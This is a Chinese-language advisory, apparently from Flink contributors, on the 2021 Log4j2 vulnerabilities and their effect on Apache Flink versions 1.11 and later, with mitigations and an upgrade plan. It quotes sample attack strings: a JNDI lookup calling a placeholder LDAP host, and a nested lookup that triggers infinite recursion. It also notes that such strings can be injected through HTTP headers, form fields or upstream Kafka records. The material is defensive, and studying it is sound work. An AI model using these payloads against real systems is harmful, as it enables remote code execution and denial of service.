本文作者俞航翔&李钰,详细说明了 Log4j2 Zero Day 漏洞的影响,以及 Flink 社区的应对方案。主要内容包括:
- 漏洞说明
- Flink 用户可能受到的影响
- 受影响的 Flink 版本和临时解决方案
- Flink 社区修复计划
概述
Apache Log4j 是基于 Java 的日志记录工具,Apache Log4j2 重写了 Log4j 并增加了很多丰富的特性。最近,由阿里云安全报告了 Apache log4j2 的 Zero Day 漏洞[1],基于该漏洞,攻击者可以构造恶意请求,触发远程代码执行漏洞,目前该漏洞被 CVE-2021-44228[2] 追踪。Log4j 团队在发现该问题后马上发布了 2.15.0 版本,并给出了临时解决方案。
12 月 14 日,来自 Twitter 公司的团队发现并且报告了一个新的漏洞问题:CVE-2021-45046[17]。该漏洞表示 2.15.0 中对 CVE-2021-44228 的修复以及给出的临时解决方案并不完备,在某些配置条件下依然会被利用导致 DOS 攻击。随后 Log4j 团队又发布了 2.16.0 版本,并推荐受影响的软件升级至该版本,同时给出了新的临时解决方案。
上述漏洞的影响版本范围为 2.0-beta9 <= log4j2 <= 2.12.1 和 2.13.0 <= log4j2 <= 2.15.0。Apache Flink 在 1.10 及以前的版本中使用的是 Log4j 1.x 版本,可以认为不受影响。而 1.11 及以上版本中使用了 Log4j 2.x 版本,且均在受影响范围内。
12 月 16 号,有关 Apache Log4j 的一个新的漏洞问题被提出[18],经过验证后 CVE-2021-45105[19] 于 12 月 18 号发布。该漏洞进一步表示 2.16.0 版本及 CVE-2021-45046 的临时修复方案在某些配置条件下依然有被 DOS 攻击的风险。随后,Log4j 团队马上发布了 2.17.0 版本,并给出了新的临时修复方案。
上述漏洞的影响版本范围为 2.0-beta9 到 2.16.0。
接下来我们将首先简要阐述漏洞的细节和影响,然后会特别说明该漏洞对 Flink 用户可能产生的影响,最后将详细介绍 Flink 用户对该漏洞可采用的临时解决方案和 Flink 社区的修复计划。
一、漏洞说明
CVE-2021-44228
这个漏洞可以追溯到 Log4j 早年间引入的一个 Feature。2013 年,Log4j 在 2.0-beta9 版本[3] 中添加了 “JNDILookup plugin”[4] 功能。
Java 在 1990 年之后引入了 JNDI 作为一种目录服务,让 Java 程序可以以 Java 对象的形式通过目录查找数据。JNDI 提供了多种 SPI 支持不同的目录服务,如 CORBA COS (公共对象服务)、Java RMI (远程方法接口) Registry 和 LDAP (轻量级目录访问协议)。这些都是可能被 CVE-2021-44228/45046 漏洞利用的服务。
Java 程序可以结合使用 JNDI 和 LDAP 来查找包含可能需要的数据的 Java 对象。例如,在标准 Java 文档中有一个与 LDAP 服务器通信以检索对象属性的示例。即使用 “ldap://localhost:389/o=JNDITutorial” 这个 URL 从运行在同一台机器 (localhost) 上的端口为 389 的 LDAP 服务器中查找 JNDITutorial 对象,并继续从中读取属性。
根据 JNDI 官方帮助文档描述 “如果您的 LDAP 服务器位于另一台机器上或正在使用另一个端口,那么您需要编辑 LDAP URL”,LDAP 服务器可以在不同的机器上运行,也可以在 Internet 上的任何地方运行。这种灵活性意味着如果攻击者能够控制 LDAP URL,他们就能够让 Java 程序从他们控制的服务器加载对象。
在 Log4j 包含漏洞的版本中,攻击者可以通过传入类似 “${jndi:ldap://example.com/a}” 形式的字符串来控制 Log4j 访问的 LDAP URL。在这种情况下,Log4j 将连接到 example.com 上的 LDAP 服务器并检索对象。
Log4j 对 “${prefix:name}” 形式有特殊的语法解释,其中 prefix 是 Log4j 提供的多种 Lookups<sup>[5]</sup> 中的一种,name 则对应在该 Lookup 下的一种执行属性。例如,${java:version} 是当前运行的 Java 版本。
而 LOG4J-313 增加的 JndiLookup 提供了通过 JNDI 检索变量的能力。在默认情况下,key 将以 “java:comp/env/” 这种形式作为 prefix。但当 key 中本身就包含额外的 “:” 时,则解析不到正确的 prefix 形式。例如字符串 “${jndi:ldap://example.com/a} ” 传入时,Log4j 将检测不到正确的 prefix,由于 Message Lookup 机制,其行为会变成在 LDAP 服务器中查询目标对象。
因此,攻击者只需要找到一个可能被打印的输入并在其中添加类似 “${jndi:ldap://example.com/a}” 的字符串。比如攻击者可能将攻击字符串插入到类似 User-Agent 的 HTTP header 中、类似 username 的表单参数中等。
这种方式在基于 Java 的面向 Internet 的应用中很常见。更令人窒息的是,这种数据可能会从一个系统传递到另一个系统中,导致使用 Java 的非面向 Internet 的应用也会中招。
例如,一个利用该漏洞的 User-Agent 的字符串可以传递到使用 Java 编写的后端系统中,该系统可能会基于漏洞数据建立索引或数据分析,而这些过程中漏洞数据有可能也会被 Log4j 打印,进而造成严重的影响。因此,所有使用 Log4j2 的基于 Java 开发的软件都应该进行马上采取修补措施,否则潜在的威胁很大。即使面向 Internet 的软件不是用 Java 编写的,恶意字符串也有可能会被传递到其他使用 Java 编写的系统中从而产生严重问题。例如一个基于 Java 编写的记账系统,它可能在找不到客户的名字时进行打印。而攻击者可以创建一个包含漏洞信息的客户名字的订单,而该漏洞信息很可能会在 Web 服务器、数据库系统中传递并最后进入账单系统中,链路中的各个系统都可能受到影响。
此外,Java 除了在面向 Internet 的系统中使用外,也在很多其他场景中被使用。例如一个包裹处理系统上的 QR 码或者一个非接触式门的电子钥匙,如果它们用 Java 编写并使用了 Log4j,那么都很有可能被攻击。一个精心制作的二维码可能包含一个漏洞信息的邮政地址,一个精心编码的电子钥匙可能带有漏洞利用的恶意程序,直接跟踪我们的进出的记录。
还有一些包含定时任务的系统可能不会马上处理该漏洞信息,在该定时任务汇总、存档过程打印该恶意字符串之前,该漏洞可能会一直处于休眠状态。而在数小时甚至数天后才会触发到该漏洞并造成严重影响。
CVE-2021-45046
这个漏洞由 Twitter 发现。2.15.0 版本对 CVE-2021-44228 的修复和 Log4j 团队之前给出的建议并不能完全避免该漏洞的影响。其原因是当日志配置中使用了一些非默认的 Pattern Layout (Context lookup 或者 Thread Context Map pattern) 时,攻击者可以利用该模式注入恶意数据。
如果日志配置中存在上述的 Pattern Layout,基于 “log4j2.formatMsgNoLookups=true” 的方案并不能阻止恶意数据利用 JndiLookup 去触发 CVE-2021-44228,即使 2.15.0 中限制 JNDI LDAP Lookup 的范围在 Localhost,依然会面临 DOS 攻击的风险。
CVE-2021-45105
该漏洞表明,Log4j 2.16.0 版本基于 CVE-2021-45046 的修复和临时解决方案下依然存在被 DOS 攻击的风险。其原因是当日志配置中使用了 Context lookup 这种非默认的 Pattern Layout 时(如 $${ctx:loginId}
),攻击者可以在 Thread Context Map 中加入恶意的数据(如 ${${::-${::-$${::-j}}}}
)从而触发无限循环地 Lookup,进一步因为 StackOverflowError 导致进程终止。
如果日志配置中存在上述的 Pattern Layout,基于 “log4j2.formatMsgNoLookups=true” 和 "remove JndiLookup.class" 的方案并不能阻止恶意数据触发 CVE-2021-45105,因为该漏洞的根源发生在 String Substitution 过程中。
二、Flink 用户可能受到的影响
使用 1.11 及以上版本的 Flink,会受到该漏洞的影响。如上一章节中所述,虽然大部分使用场景下 Flink 并不直接面向 Internet,但攻击字符串可能会从其他系统直接传入到 Flink (即使其他系统已经做了一些防范措施) 并由 Flink 中的 UDF 进行处理,而这个过程中的 Record 相关的打印操作就会触发该漏洞 (事实上,这种打印操作在实际应用中很常见),进而造成严重影响。
以常见的日志分析场景为例,我们经常见到在 UDF 中打印 Record 的相关信息的操作,当攻击字符串 (如 ${jndi:ldap://example.com/a}) 从 Kafka 传递到 Flink 中被这些 UDF 处理时,会直接导致作业执行环境中的节点受到影响。类似的消息传递一方面不受报文传递加解密的限制 (UDF 在处理经过加密的消息时会先解码),另一方面不需要 Flink 作业的提交权限而是可以直接在上游注入。因此对于 Flink 系统,尤其是对可访问外网且缺乏安全容器隔离能力的执行环境来说,具备很高的威胁。
三、受影响的 Flink 版本和临时解决方案
目前 Flink 各个已发布版本使用的 log4j 版本详情如下:
可以看到,Flink 在 1.11 及以上的版本使用的均是 2.x 的 Log4j 版本,因此均会受影响,而 1.10 及以下的版本可以认为不受影响。目前社区已积极响应修复该问题,详细修复计划将在下一章节介绍。
在社区尚未发布对应修复版本之前,需要采用 Log4j 团队最新建议的方式解决。
若社区已发布 Log4j 2.17.0 对应的修复版本,用户可以直接升级到最新版本,停止并重启作业后即可避免这些漏洞。
若目前作业使用的 Flink 版本是 Log4j 2.16.0 对应的各个版本 (即 1.14.2,1.13.5,1.12.7,1.11.6),有两种解决方案:
- 在日志配置的 PatternLayout 中,将类似
${ctx:loginId}
or$${ctx:loginId}
的 Context lookup 模式替换成 Thread Context Map 模式 (如%X, %mdc, or %MDC
) - 在日志配置中完全移除掉类似
${ctx:loginId}
or$${ctx:loginId}
的 Context lookup 模式 (核心还是在于这种模式下是可以注入恶意数据并被 Log4j 解析的)
若目前作业使用的 Flink 版本是 Log4j 2.15.0 或更早的版本对应的各个版本 (即 1.14.1,1.13.4,1.12.5,1.11.4 及之前的版本),除了上述的操作外,还需要使用:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
将 Flink 中依赖的 log4j-core 里的 JndiLooup.class 删除,以达到 2.16.0 中禁用 JNDI 的效果。
需要注意以下三点:
- 该修复过程需要停止作业,在做完修复后重启。
- 对于 Apache Log4j 的 Zero Day 问题,虽然之前有其他的临时解决方法[6][7],但目前只有上面的方式能完全避免该漏洞的影响。
- 建议在社区发布修复版本后,尽快批量升级作业至对应的版本。
四、Flink 社区修复计划
目前 Log4j 已发布了 2.15.0,2.16.0 和 2.17.0 版本,具体修复内容如下:
Flink 社区在得知这个漏洞后,马上讨论了修复计划[14],社区先将 master 分支中 Log4j 的版本升级至 2.15.0,同时 pick 了该修复到 1.14.1,1.13.4,1.12.5,1.11.4[12],目前这些版本已经发布,用户可以直接使用,例如:
https://search.maven.org/artifact/org.apache.flink/flink-core/1.14.1/jar
但考虑到 Log4j 的 2.16.0 版本才能更彻底地解决该问题,社区将 master 分支中 Log4j 的版本进一步升级至 2.16.0,同时 pick 该修复到 1.14.2,1.13.5,1.12.7,1.11.6[13]。目前这些新版本的投票已完成,相信会尽快完成发布[14][15][16]。
目前关于 Log4j 2.17.0 对应修复版本的计划正在讨论中[20][21]。在 Flink 社区发布 Log4j 2.17.0 对应的各个修复版本后,用户只需要将作业使用的 Flink 版本进行升级,即可完全避免该问题。
参考
[1] Apache Log4j Vulnerability Details and Mitigation
https://www.cyberkendra.com/2021/12/apache-log4j-vulnerability-details-and.html
[2] CVE-2021-44228
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
[3] Apache Log4j 2.0-beta9 released
https://blogs.apache.org/logging/entry/apache_log4j_2_0_beta9
[4] LOG4J2-313
https://issues.apache.org/jira/browse/LOG4J2-313
[5] LOG4J Lookups
https://logging.apache.org/log4j/2.x/manual/lookups.html
[6] Advise on Apache Log4j Zero Day (CVE-2021-44228)
https://flink.apache.org/2021/12/10/log4j-cve.html
[7] CVE-2021-44228 Solution
[8] LOG4J2-3198
https://issues.apache.org/jira/browse/LOG4J2-3198
[9] LOG4J2-3201
https://issues.apache.org/jira/browse/LOG4J2-3201
[10] LOG4J2-3208
https://issues.apache.org/jira/browse/LOG4J2-3208
[11] LOG4J2-3211
https://issues.apache.org/jira/browse/LOG4J2-3211
[12] Update log4j2 version to 2.15.0
https://issues.apache.org/jira/browse/FLINK-25240
[13] Update Log4j to 2.16.0
https://issues.apache.org/jira/browse/FLINK-25295
[14] [DISCUSS] Immediate dedicated Flink releases for log4j vulnerability
https://lists.apache.org/thread/j15t1lwp84ph7ftjdhpw4429zgl13588
[15] [VOTE] Release 1.11.5/1.12.6/1.13.4/1.14.1, release candidate #1
https://lists.apache.org/thread/64tn3d38ko4hqc9blxdhqrh27x3fjro8
[16] [VOTE] Release 1.11.6/1.12.7/1.13.5/1.14.2, release candidate #1
https://lists.apache.org/thread/3yn7ps0ogdkr1r5zdjp10zftwcpr1hqn
[17] CVE-2021-45046
https://nvd.nist.gov/vuln/detail/CVE-2021-45046
[18] LOG4J2-3230
https://issues.apache.org/jira/browse/LOG4J2-3230
[19] CVE-2021-45105
https://nvd.nist.gov/vuln/detail/CVE-2021-45105
[20] CVE-2021-45105: Apache Log4j2 does not always protect from infinite recursion in lookup evaluation
https://lists.apache.org/thread/6gxlmk0zo9qktz1dksmnq6j0fttfqgno
[21] FLINK-25375